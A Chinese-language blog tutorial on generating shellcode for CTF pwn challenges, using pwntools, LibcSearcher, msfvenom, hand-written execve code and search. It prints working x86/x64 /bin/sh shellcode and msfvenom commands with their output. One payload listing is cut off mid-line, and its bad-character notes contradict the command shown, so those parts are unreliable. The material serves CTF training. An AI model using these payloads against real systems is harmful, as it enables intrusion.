Shellcode的生成和利用

構造shellcode是CTF-PWN和滲透當中經常需要進行的一項活動,有合適熟練的構造shellcode的方法途徑,可以使得pwn的過程更加流暢和舒服。下面列出了幾種shellcode的獲得方法,與各位交流分享。

法一 LibcSearcher 與 one_gadget

特點:安裝簡單,好理解,構造思路清晰。

from pwn import * #pwntool生成shellcode
shellcode=asm(shellcraft.sh())

shellcode = “\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05”(23字節)

git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop
from LibcSearcher import *
#第二個參數,爲已泄露的實際地址,或最後12位(比如:d90),int類型
obj = LibcSearcher("fgets", 0X7ff39014bd90)
obj.dump("system")        #system 偏移
obj.dump("str_bin_sh")    #/bin/sh 偏移
obj.dump("__libc_start_main_ret")

法二 msfvenom

特定:自動化高,方便。
metasploit framework套件中的msfpayload與msfencode配合使用可以做到生成指定的payload,現在這兩個工具進行了合併稱爲msfvenom。如果完整的安裝了msf的話這個工具就已經可以直接使用了。
首先來了解一下這個工具

msfvenom 
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
    -l, --list            <type>     List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
    -p, --payload         <payload>  Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
        --list-options               List --payload <value>'s standard, advanced and evasion options
    -f, --format          <format>   Output format (use --list formats to list)
    -e, --encoder         <encoder>  The encoder to use (use --list encoders to list)
        --sec-name        <value>    The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
        --smallest                   Generate the smallest possible payload using all available encoders
        --encrypt         <value>    The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
        --encrypt-key     <value>    A key to be used for --encrypt
        --encrypt-iv      <value>    An initialization vector for --encrypt
    -a, --arch            <arch>     The architecture to use for --payload and --encoders (use --list archs to list)
        --platform        <platform> The platform for --payload (use --list platforms to list)
    -o, --out             <path>     Save the payload to a file
    -b, --bad-chars       <list>     Characters to avoid example: '\x00\xff'
    -n, --nopsled         <length>   Prepend a nopsled of [length] size on to the payload
        --pad-nops                   Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
    -s, --space           <length>   The maximum size of the resulting payload
        --encoder-space   <length>   The maximum size of the encoded payload (defaults to the -s value)
    -i, --iterations      <count>    The number of times to encode the payload
    -c, --add-code        <path>     Specify an additional win32 shellcode file to include
    -x, --template        <path>     Specify a custom executable file to use as a template
    -k, --keep                       Preserve the --template behaviour and inject the payload as a new thread
    -v, --var-name        <value>    Specify a custom variable name to use for certain output formats
    -t, --timeout         <second>   The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
    -h, --help                       Show this message

我們只針對linux下的一些漏洞只構造,所以需要的msfvenom命令相對簡單。
上面的options,其中有好一些功能是構造shellcode上用不上的,目前不需要去了解,對滲透感興趣的可以去研究一下。
msfvenom文檔鏈接
一般來說常用的options是 -p -f -b 輔助的 -n -v -o

-p : 指定構造payload的對象。
-f :指定輸出payload的格式
-b:用於規避特定的字符列表。
-n:在payload前填充NOP Sled
-v:給payload構造指定變量名,否則就默認buf
-s:限制payload的字長

這裏特別說明一些-b的用法,常見的用法用於對scanf,gets類的溢出題。
因爲,gets類遇到\x0a(\n)就會截至讀取。
scanf類更多的截取條件,大部分的空白字符都會使得其截至(\0x00,0x0a)
我一直認爲光看文檔是沒效果的,要帶入情景才能理解掌握,所以我這舉幾個具體的實例,並且解釋:

#選擇平臺(platform linux/86)且命令爲其中的exec,輸入的命令參數是/bin/sh 輸出的限制規避字符列表空格(0x00),換行(\0x0a)。得到shellcode如下。
root@kali:~# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b'

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with An encoding exception occurred.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=15, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 68 (iteration=0)
x86/call4_dword_xor chosen with final size 68
Payload size: 68 bytes
Final size of python file: 349 bytes
buf =  b""
buf += b"\x31\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += b"\x76\x0e\x76\xfc\x93\x07\x83\xee\xfc\xe2\xf4\x1c\xf7"
buf += b"\xcb\x9e\x24\x9a\xfb\x2a\x15\x75\x74\x6f\x59\x8f\xfb"
buf += b"\x07\x1e\xd3\xf1\x6e\x18\x75\x70\x55\x9e\xf4\x93\x07"
buf += b"\x76\xd3\xf1\x6e\x18\xd3\xe0\x6f\x76\xab\xc0\x8e\x97"
buf += b"\x31\x13\x07
#64位linux下執行系統命令/bin/sh,輸出格式python
#基本是使用這個命令的,對這個命令進行修改可以完成大部分的題目。
#msfvenom -p linux/x64/exec CMD=/bin/sh -f python -b '\x00\x0b'
#msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b'

 
root@kali:~# msfvenom -p linux/x64/exec CMD=/bin/sh -f python 
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 47 bytes
Final size of python file: 243 bytes
buf =  b""
buf += b"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
buf += b"\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
buf += b"\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
buf += b"\x00\x56\x57\x48\x89\xe6\x0f\x05"

有興趣可以使用

msfvenom -l payloads

來查看所有可構造的payload列表重點關注可以執行讀取獲得得到shell。

法三 手動構造

推薦鏈接

這種方法比較現實。。
1.寫彙編\C語言編譯,然後反向構造payload (門檻高,複雜)
2.直接拖程序去找。。查看到類似的需要段落就截取。 (麻煩,試錯複雜)

#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
    char *code[2];
    code[0] = "/bin/sh";
    code[1] = NULL;

    execve(code[0], code, NULL);

    return 0;
}

在對程序進行編譯,shellcode的模板一般都是這樣的:

jmp xxx 
pop xxx 
xxxxxxxx 
call pop address 
.string

這裏面的jmp和call基本都是配套出現,是shellcode用來得到.string裏面內容的一個好辦法。我們在文檔中尋找這部分內容就可以找到我們的shellcode。

法四 Google-find

合理利用googel搜索可以完成大部分shellcode的需求。。

其他

exploit database
libc database search

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章